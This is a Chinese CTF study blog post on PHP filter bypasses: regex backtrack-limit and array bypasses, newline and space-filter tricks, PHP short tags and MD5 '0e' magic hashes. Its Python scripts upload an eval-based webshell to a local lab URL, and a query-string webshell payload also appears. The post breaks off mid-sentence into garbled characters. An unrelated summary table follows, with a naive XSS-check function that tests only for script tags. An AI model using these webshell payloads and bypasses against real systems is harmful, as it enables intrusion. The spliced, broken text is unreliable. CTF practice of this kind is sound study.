PHP备赛CTF知识点①–清风

PHP备赛CTF知识点①–清风

1.正则匹配的绕过

正则匹配绕过即===preg_match()函数

------三种方法
(1)最大回溯次数绕过**(仅用于POST)**

PHP 的 pcre.backtrack_limit 限制利用

PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit。

PHP 文档中,中英文版本的数值是不一样的:
    中文为10万
    英文为100万

①回溯绕过正则并实现文件上传:

from requests import post,get
from io import BytesIO
url='http://127.0.0.1/openlab/xss/regexp/demo5.php'
files = {
   
    'file': BytesIO(b'aaa<?php eval($_POST[123]);//' +b'a' *1000000)
}
res = post(url,files=files,allow_redirects=False)
print(res.text)

②回溯绕过正则拿flag:

from requests import post,get
payload={
   
    'greeting':'Merry Christmas' +'a' * 1000000
}
res=post('http://127.0.0.1/openlab/xss/regexp/demo2.php',data=payload)
print(res.text)
(2)数组绕过

------php大部分函数无法处理数组,所以想到用数组绕过

例如:greeting[]=Merry Christmas
if(strpos($greeting,'Merry Christmas')!==false){
   

        echo 'Merry Christmas. '.'flag{xxxxxx}';

    #strpos() 是 PHP 中的一个字符串函数,用于查找字符串首次出现的位置
--如果 'Merry Christmas' 存在于 $greeting 中,函数将返回该子字符串首次出现的位置(从 0 开始计数)。
--如果 'Merry Christmas' 不存在于 $greeting 中,函数将返回 false#数组返回值为NULL,成功绕过
(3)换行绕过===%0a
%0a
例如:?action=upload&data=%0a<?eva($_POST["cmd"]);?>

=======================================================

(4)空格过滤 绕过—%09

%09  <  >    <>   ${
   IFS}   $IFS$9

(5) 单引号过滤 绕过—`(反单引号)

echo`你好`;

2.php短标签—<?="1"?>

当php字符串被过滤时,使用短标签===(省去php字符)

注意:

短标签中少了php和分号(;)
正常PHP为:<?php echo"1";?>       
      <?="1"?>       #相当于<?php echo"1";?>
或者   <?echo"1"?>   #上下是相同的,---=相当于echo
或者   <%echo"1"%>   #这种极少用,有的版本行不通       

3.MD5绕过

PHP规定当进行字符串与数字的弱比较时,会进行如下步骤

先看字符串开头是否为数字,如果为数字,则截止到连续数字的最后一个数字,即"123abc456"=>123

如果开头不为数字,则判断为false,即0。

    ("aaa123"==0) =>true
    ("123a"==123) =>true
(1).MD5弱类型绕过
①—常规0e绕过(科学计数法)
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
这些字符串的 md5 值都是 0e 开头ÿ
### CTF 知识点汇总 #### 、编码与解码 | 编码/解码方式 | 描述 | | --- | --- | | Rail Fence Cipher | 使用种特殊的栅栏排列方法来加密消息,通过改变字符的位置实现加密效果[^1] | #### 二、工具类资源 | 工具名称 | 功能描述 | | --- | --- | | CyberChef | 提供多种编解码功能以及加密算法的支持,适用于各种数据处理场景;支持本地部署,方便安全研究者使用[^2] | #### 三、Web 前端技术基础 | 技术类别 | 主要内容 | | --- | --- | | HTML/CSS/JS | 构成网页的基础要素,其中HTML负责页面结构定义,CSS用于样式设计,而JavaScript则实现了动态交互逻辑。这些构成了用户可以直接看到并操作的部分——即所谓的“前端”。此外,在某些情况下可以通过Burp Suite等工具捕获HTTP请求并对响应内容进行篡改测试[^3] | #### 四、逆向工程技巧 | 场景应用 | 解决方案建议 | | --- | --- | | 文件解析 | 对于特定格式文件(如图片、音频),除了常规查看外还需注意隐藏信息的存在形式,比如元数据内嵌入的秘密文本或是图像中的不可见像素区域携带的信息。同时也要留意题目设置者的意图,可能需要更加细致地观察细节之处[^4] | #### 五、XSS 攻击分类 | XSS 类型 | 特征说明 | | --- | --- | | 反射型 | 当服务器接收到带有恶意脚本参数的URL访问时会将其反射回客户端浏览器执行 | | 存储型 | 用户提交的内容被保存到数据库或其他持久化存储介质后再由其他用户浏览触发攻击行为 | | DOM型 | 不涉及服务端参与,完全依赖于当前页面上下文中已存在的DOM节点属性变更引发的安全漏洞[^5] | ```python # 示例Python代码片段:检测是否存在简单的XSS注入风险 def check_xss(input_string): dangerous_tags = ['<script>', '</script>'] for tag in dangerous_tags: if tag.lower() in input_string.lower(): return True return False ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值